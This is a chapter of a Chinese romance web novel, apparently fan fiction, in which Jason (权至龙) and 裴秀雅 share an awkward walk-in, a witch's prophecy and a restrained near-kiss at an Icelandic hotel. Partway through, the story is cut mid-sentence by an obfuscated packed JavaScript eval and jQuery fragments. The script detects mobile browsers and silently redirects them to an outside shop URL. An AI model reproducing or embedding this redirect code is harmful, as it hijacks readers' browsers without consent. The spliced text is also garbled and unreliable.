办理完入住手续,前台玛利亚递过两把钥匙,指了指通往房间的碎石小径,房间是独立的,像两个小小的,覆盖着草皮的土丘,彼此相邻,中间隔着一丛茂盛的紫色鲁冰花。


    权至龙接过自己的钥匙,说道:“晚安。”


    “Jason,晚安。”裴秀雅点点头。


    她先走进了自己的房间,内部很原生态,墙壁是粗糙的原木,地板也是,踩上去有扎实的响声。


    房间中央是一张铺着厚厚白色羊毛毯的大床,最引人注目的是房间一角的露天温泉池,是黑色的火山石砌成,蓝色的温泉水正汩汩地冒着热气,把房间蒸得暖融融的。


    裴秀雅放下随身的小包,脱掉外套,在床边坐了一会儿,窗外的天色是一种近乎墨蓝的颜色,非常漂亮。


    下个瞬间,她忽然想起,自己那支最喜欢的,带有润唇功能的无色唇膏,好像下午在车上补涂后,顺手放在了车上,忘记拿回来了,后来竟然完全忘了这回事。


    那支唇膏她用了很久,必须涂抹了睡觉才能保持一整天的嘴唇湿润,她犹豫了一下,还是站起身,拉开了房门。


    隔壁房间的窗户透出暖黄色的光,她走到他的房门前,深吸了一口气,抬手轻轻敲了敲。


    没有回应。


    她又敲了敲,稍微用力了点:“Jason,睡了吗,我可能需要开一下车门,去取一下唇膏。”


    依然是一片寂静,他是不是出去了,去咖啡厅了,或者去公共温泉区了?这么晚,外面又冷,而且,门怎么没锁?


    她试探性地,轻轻推了一下门,门滑开了一道缝隙。


    她心里一惊,人不在吗?她犹豫着,把门再推开一些,侧身探了进去:“Jason,你在吗,我……我进来拿个东西?”


    他的房间布局和她的一样,同样暖烘烘的,但她的目光瞬间被房间深处,那个露天温泉池旁边的淋浴隔间吸引了过去。那个隔间只用了一面磨砂玻璃,做了一半的遮挡,这会儿里面水汽弥漫,一个挺拔的身影正站在花洒下,水流声哗啦啦地响着。


    裴秀雅的大脑“嗡”的一声,一片空白,她下意识地用手捂住了眼睛,她看到了!


    虽然隔着水汽和玻璃,但那轮廓,那宽肩窄腰的线条……


    就在她僵在原地,不知道该立刻退出去还是应该出声解释的时候,淋浴间的流水声停了。


    磨砂玻璃门被拉开,权至龙裹着一条白色的浴巾走了出来,头发湿漉漉地滴着水,水珠顺着他结实的胸膛和腹肌往下滚落,他一眼就看到了站在门口,捂着眼睛的裴秀雅。


    他显然也愣住了,随后反应过来:“哦?!秀雅,你怎么进来了,外面那个门……是不是坏了?我明明记得我锁住了啊。”


    他一边说着,一边下意识地把腰间的浴巾又裹紧了些。


    裴秀雅听到他的声音,更是羞得无地自容,捂着眼睛连连后退,语无伦次地说:“对、对不起!我……我以为你出去了,门一推就开了,我只是来拿车钥匙,想找回唇膏,我什么都没看见,真的!”


    她几乎是闭着眼睛,凭借着记忆里的方向,摸索着冲向衣架的位置,想去拿车钥匙。


    权至龙看着她那副慌慌张张的样子,忍不住想笑,又觉得有点尴尬,他抓了抓湿漉漉的头发:“小心点,别撞到东西。”


    裴秀雅胡乱地在椅子上挂着的他的外套口袋里摸索着,果然摸到了车钥匙,她紧紧攥住,然后头也不敢回地往门口冲,嘴里飞快地说着:“找到了找到了,对不起打扰了你继续!晚安!”


    她几乎是逃也似的冲出了他的房间,还顺手“砰”地一声帮他把门带上了。


    靠在外面的原木墙壁上,她大口大口地喘着气,感觉脸上的热度简直能烫熟鸡蛋,连耳根和脖子都红透了,冷风吹过,不但没让她冷静下来,反而觉得身体内部有一股燥热在四处乱窜,让她浑身都不自在。


    她需要冷静一下,她没去房间里的私人温泉,而是去酒店的小公共区透透气。


    她裹紧外套,顺着灯光昏暗的小路往前走,公共休息区是一个更大的玻璃房子,里面摆放着几张舒适的沙发,除了她,还有一个穿着打扮非常奇特的老妇人坐在角落。


    那老妇人穿着一身色彩斑斓的长裙,脖子上挂着好几串用各种石头串成的项链,花白的头发编成无数条细辫子,裴秀雅之前在网上搜索过,冰岛有一种职业很独特,好像是本地的巫女,就是这个造型。


    对方端着一杯冒着热气的草药茶,静静地看着窗外。


    裴秀雅本想找个远离她的位置坐下,那个老妇人却主动转过头,对她露出了一个神秘的微笑,然后向她招招手:“过来,孩子,现在很紧张吧?坐,喝杯茶会好一些。”


    鬼使神差地,裴秀雅走了过去,在她对面的沙发上坐下,老妇人递给她一杯同样的草药茶,尝了一口,味道有点辣。


    老妇人仔细看着她的脸,忽然伸出手,手指轻轻碰了碰裴秀雅的眉心,说道:“很快,会有很好的事情,发生在你身上。”


    裴秀雅听得云里雾里,但“很好的事情”几个字,让她一愣。


    她道了谢,将杯子里剩余的茶喝完,感觉紧张的感觉竟然消失了。


    回到房间附近,她在自己门口站了一会儿,目光不由自主地瞟向权至龙的房门,现在,他应该洗完了吧?拿完了唇膏,怎么也得把车钥匙还回去。


    她深吸一口气,再次走到他的房门前,这次,她非常谨慎地,轻轻敲了敲门。


    里面传来权至龙的声音:“请进。”


    这次门是锁着的,他走过来为她开了门。


    他已经换上了一身灰色的棉质休闲服,头发依然湿着,没有完全擦干,几缕黑色的发丝凌乱地搭在额前,发梢还凝聚着细小的水珠,随着他开门的动作,一滴水珠顺着他清晰的下颌线滑落,滴在他微敞的领口处。


    洗过热水澡后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755570|189385||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,他的皮肤透着一种干净的微微的红润,身上带着清爽的沐浴露气味,他看起来松弛又……特别蛊惑。


    裴秀雅只看了一眼,就觉得刚刚被压下去的热度又卷土重来了,她强迫自己把目光固定在他的脸上,虽然他的眼睛也格外漂亮。


    权至龙看着她这副满脸通红的样子,觉得有趣极了,他靠在桌沿,双手抱臂,看着她:“秀雅,你刚才说,什么都没看清?那你怎么知道我在洗澡,还捂着眼睛?”


    裴秀雅的脸更红了,简直要冒烟。


    权至龙低低地笑了起来,胸腔微微震动:“好了,不逗你了,门可能确实没锁好,我也有责任,要坐会儿吗?还是拿了唇膏就要走?”


    裴秀雅点点头,身体却像被钉在原地,没有立刻离开。


    她的视线,不受控制地,悄悄从他带笑的脸上,往下滑落,掠过他微敞的领口,落在他的胸膛位置。


    她想起了下午在温泉池边,看到的清晰胸肌线条,还有刚才在水汽中看到的模糊,但是充满力量感的背影……


    鬼使神差地,连她自己都没反应过来,她的右手,突然就伸了出去,轻轻地,按在了权至龙的左边胸膛上。


    隔着一层薄薄的棉布,手下传来的触感非常温热,甚至能感受到其下沉稳的心跳,咚咚咚!


    时间好像在这一刻静止了。


    权至龙脸上的笑容瞬间僵住,他难以置信地低头看着那只手,那只按在自己胸口上手,白皙纤细,然后,像是有一道细微的电流从某个地方流过,他努力绷着的那根弦,突然就断了。


    他猛地伸出手,一把抓住了她那只手腕,力道之大,让裴秀雅轻微地痛呼了一声。


    下一秒,天旋地转,他几乎是带着一种失控的力道,将她向后推去,两人一起跌倒在身后那张大床上。


    裴秀雅惊呼一声,整个人陷进了柔软的床垫里,权至龙的身体随即覆了上来。


    他的手臂撑在她身体两侧,眼睛死死地盯着她,呼吸变得粗重,灼热地喷在她的脸上。


    裴秀雅大脑一片空白,她感觉到他身体的紧绷和热度,烫得吓人。


    权至龙俯下身,他的嘴唇离她的只有几厘米,他能闻到她身上淡淡的香气,只要再低一点头,就能……


    空气中有一种一触即发的味道。


    然而,下一秒,他猛地闭上了眼睛,喉结滚动了一下,像是用尽了全身的力气,将头埋在了她的颈窝处。


    不行,不能这样。


    他撑起身体,手臂因为极力克制而微微颤抖,然后,他低下头,非常轻地在她的脸颊上,亲了一下。


    做完这个动作,他立刻翻身从她身上起来,背对着她站在床边,说道:“对不起,秀雅,你不是还没想好吗,我等你想清楚了再……你回去吧。”


    裴秀雅还躺在那里,心脏狂跳,脸颊上被他亲吻过的地方像着了火一样,她默默地坐起身,整理了一下凌乱的头发和衣服。